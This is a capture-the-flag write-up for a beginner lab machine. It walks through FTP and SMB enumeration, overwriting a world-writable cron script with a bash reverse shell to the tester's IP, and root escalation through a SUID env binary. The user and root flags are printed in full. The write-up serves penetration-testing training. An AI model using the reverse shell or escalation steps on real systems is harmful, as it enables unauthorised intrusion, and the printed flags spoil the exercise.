Anonymous V6

> **Instructions**
> Try to get the two flags! Root the machine and prove your understanding of the fundamentals! This is a virtual machine meant for beginners. Acquiring both flags will require some basic knowledge of Linux and privilege escalation methods.

Enumeration

Nmap

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 10.10.248.84
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-15 11:24 EDT
Warning: 10.10.248.84 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.248.84
Host is up (0.33s latency).
Not shown: 65396 closed tcp ports (reset), 135 filtered tcp ports (no-response)
PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 34.36 seconds
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV -A -Pn -p 21,22,139,445 10.10.248.84
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-15 11:26 EDT
Nmap scan report for 10.10.248.84
Host is up (0.25s latency).

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.0.8 or later
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:10.9.63.75
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts [NSE: writeable]
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 8bca21621c2b23fa6bc61fa813fe1c68 (RSA)
|   256 9589a412e2e6ab905d4519ff415f74ce (ECDSA)
|_  256 e12a96a4ea8f688fcc74b8f0287270cd (ED25519)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
Host script results:
|_clock-skew: mean: -8s, deviation: 1s, median: -9s
|_nbstat: NetBIOS name: ANONYMOUS, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
|   date: 2023-08-15T15:26:20
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: anonymous
|   NetBIOS computer name: ANONYMOUS\x00
|   Domain name: \x00
|   FQDN: anonymous
|_  System time: 2023-08-15T15:26:20+00:00

TRACEROUTE (using port 445/tcp)
HOP RTT       ADDRESS
1   342.31 ms 10.9.0.1
2   342.67 ms 10.10.248.84

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.22 seconds
```

SMB

```
┌──(kali㉿kali)-[~/TryHackMe/AnonymousV6]
└─$ smbclient -L \\\\10.10.248.84
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        pics            Disk      My SMB Share Directory for Pics
        IPC$            IPC       IPC Service (anonymous server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            ANONYMOUS
```

```
┌──(kali㉿kali)-[~/TryHackMe/AnonymousV6]
└─$ smbclient \\\\10.10.248.84\\pics
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sun May 17 07:11:34 2020
  ..                                  D        0  Wed May 13 21:59:10 2020
  corgo2.jpg                          N    42663  Mon May 11 20:43:42 2020
  puppos.jpeg                         N   265188  Mon May 11 20:43:42 2020

                20508240 blocks of size 1024. 13306796 blocks available
```

I transferred these 2 pictures but found nothing helpful.

FTP

```
┌──(kali㉿kali)-[~/TryHackMe/AnonymousV6]
└─$ ftp 10.10.248.84
Connected to 10.10.248.84.
220 NamelessOne's FTP Server!
```

```
Name (10.10.248.84:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||20611|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||23607|)
150 Here comes the directory listing.
drwxrwxrwx    2 111      113          4096 Jun 04  2020 .
drwxr-xr-x    3 65534    65534        4096 May 13  2020 ..
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
-rw-rw-r--    1 1000     1000         2580 Aug 15 16:02 removed_files.log
-rw-r--r--    1 1000     1000           68 May 12  2020 to_do.txt
226 Directory send OK.
```

clean.sh

```
#!/bin/bash

tmp_files=0
echo $tmp_files
if [ $tmp_files=0 ]
then
        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
else
    for LINE in $tmp_files; do
        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
fi
```

removed_files.log

```
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
Running cleanup script:  nothing to delete
```

to_do.txt

```
I really need to disable the anonymous login...it's really not safe
```

Initiate Foothold

From the script of **clean.sh**, we can see that it has a simple work-flow:

1. Check if the `$tmp_file` is `0` (means empty) → print the message *nothing….*
2. If the `$tmp_file` is not empty → remove all the files inside `/tmp/` and log it into the `removed_files.log`

The work-flow of the file is not the main point! Therefore, the set permission of the file is what we should pay attention on:

```
-rwxr-xrwx    1 1000     1000          314 Jun 04  2020 clean.sh
```

It could be **read**, **write**(modify), **execute** by anyone (`rwx`) → Therefore, we could modify it to a reverse shell.

Exploit → Gain Access → Get flag

Download the **clean.sh** bash file to the local machine → Append it with this payload:

```
bash -i >& /dev/tcp/<LOCAL_MACHINE_IP>/<PORT> 0>&1
```

Then use `put` on the `ftp` connection to re-upload the file:

```
ftp> put clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||44552|)
150 Ok to send data.
100% |*****************************************************************************************************************************************************************
226 Transfer complete.
380 bytes sent in 00:00 (0.81 KiB/s)
```

Verify that the content has been changed:

```
ftp> more clean.sh
#!/bin/bash

#tmp_files=0
#echo $tmp_files
#if [ $tmp_files=0 ]
#then
#        echo "Running cleanup script:  nothing to delete" >> /var/ftp/scripts/removed_files.log
#else
#    for LINE in $tmp_files; do
#        rm -rf /tmp/$LINE && echo "$(date) | Removed file /tmp/$LINE" >> /var/ftp/scripts/removed_files.log;done
#fi

#echo "Hello"

bash -i >& /dev/tcp/10.9.67.75/4444 0>&1
```

Meanwhile, start the **Listener** on the port which is defined in the payload. Wait for awhile and the reverse shell then establishes the connection:

```
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.9.63.75] from (UNKNOWN) [10.10.248.84] 43744
```

```
bash: cannot set terminal process group (1483): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ id
id
uid=1000(namelessone) gid=1000(namelessone) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
```

The user's flag is located in the current directory:

```
namelessone@anonymous:~$ ls -la
ls -la
total 60
drwxr-xr-x 6 namelessone namelessone 4096 May 14  2020 .
drwxr-xr-x 3 root        root        4096 May 11  2020 ..
lrwxrwxrwx 1 root        root           9 May 11  2020 .bash_history -> /dev/null
-rw-r--r-- 1 namelessone namelessone  220 Apr  4  2018 .bash_logout
-rw-r--r-- 1 namelessone namelessone 3771 Apr  4  2018 .bashrc
drwx------ 2 namelessone namelessone 4096 May 11  2020 .cache
drwx------ 3 namelessone namelessone 4096 May 11  2020 .gnupg
-rw------- 1 namelessone namelessone   36 May 12  2020 .lesshst
drwxrwxr-x 3 namelessone namelessone 4096 May 12  2020 .local
drwxr-xr-x 2 namelessone namelessone 4096 May 17  2020 pics
-rw-r--r-- 1 namelessone namelessone  807 Apr  4  2018 .profile
-rw-rw-r-- 1 namelessone namelessone   66 May 12  2020 .selected_editor
-rw-r--r-- 1 namelessone namelessone    0 May 12  2020 .sudo_as_admin_successful
-rw-r--r-- 1 namelessone namelessone   33 May 11  2020 user.txt
-rw------- 1 namelessone namelessone 7994 May 12  2020 .viminfo
-rw-rw-r-- 1 namelessone namelessone  215 May 13  2020 .wget-hsts
namelessone@anonymous:~$ cat user.txt
cat user.txt
90d6f992585815ff991e68748c414740
```

Privilege Escalation → root

After checking the **cron job** but found nothing:

```
namelessone@anonymous:~$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
```

The next common technique is finding the `SUID` file's permission:

```
namelessone@anonymous:/$ find / -perm -04000 2>/dev/null | grep "/usr/bin"
find / -perm -04000 2>/dev/null | grep "/usr/bin"
/snap/core/8268/usr/bin/chfn
/snap/core/8268/usr/bin/chsh
/snap/core/8268/usr/bin/gpasswd
/snap/core/8268/usr/bin/newgrp
/snap/core/8268/usr/bin/passwd
/snap/core/8268/usr/bin/sudo
/snap/core/9066/usr/bin/chfn
/snap/core/9066/usr/bin/chsh
/snap/core/9066/usr/bin/gpasswd
/snap/core/9066/usr/bin/newgrp
/snap/core/9066/usr/bin/passwd
/snap/core/9066/usr/bin/sudo
/usr/bin/passwd
```

```
/usr/bin/env
/usr/bin/gpasswd
/usr/bin/newuidmap
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/newgidmap
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/traceroute6.iputils
/usr/bin/at
/usr/bin/pkexec
```

The `env` service is the vulnerability and could be exploited by using this payload:

```
namelessone@anonymous:/$ /usr/bin/env /bin/sh -p
/usr/bin/env /bin/sh -p
id
uid=1000(namelessone) gid=1000(namelessone) euid=0(root) groups=1000(namelessone),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
whoami
root
```

Go and get the root's flag simply inside the `/root` directory:

```
cd /root
ls
root.txt
cat root.txt
4d930091c31a622a7ed10f27999af363
```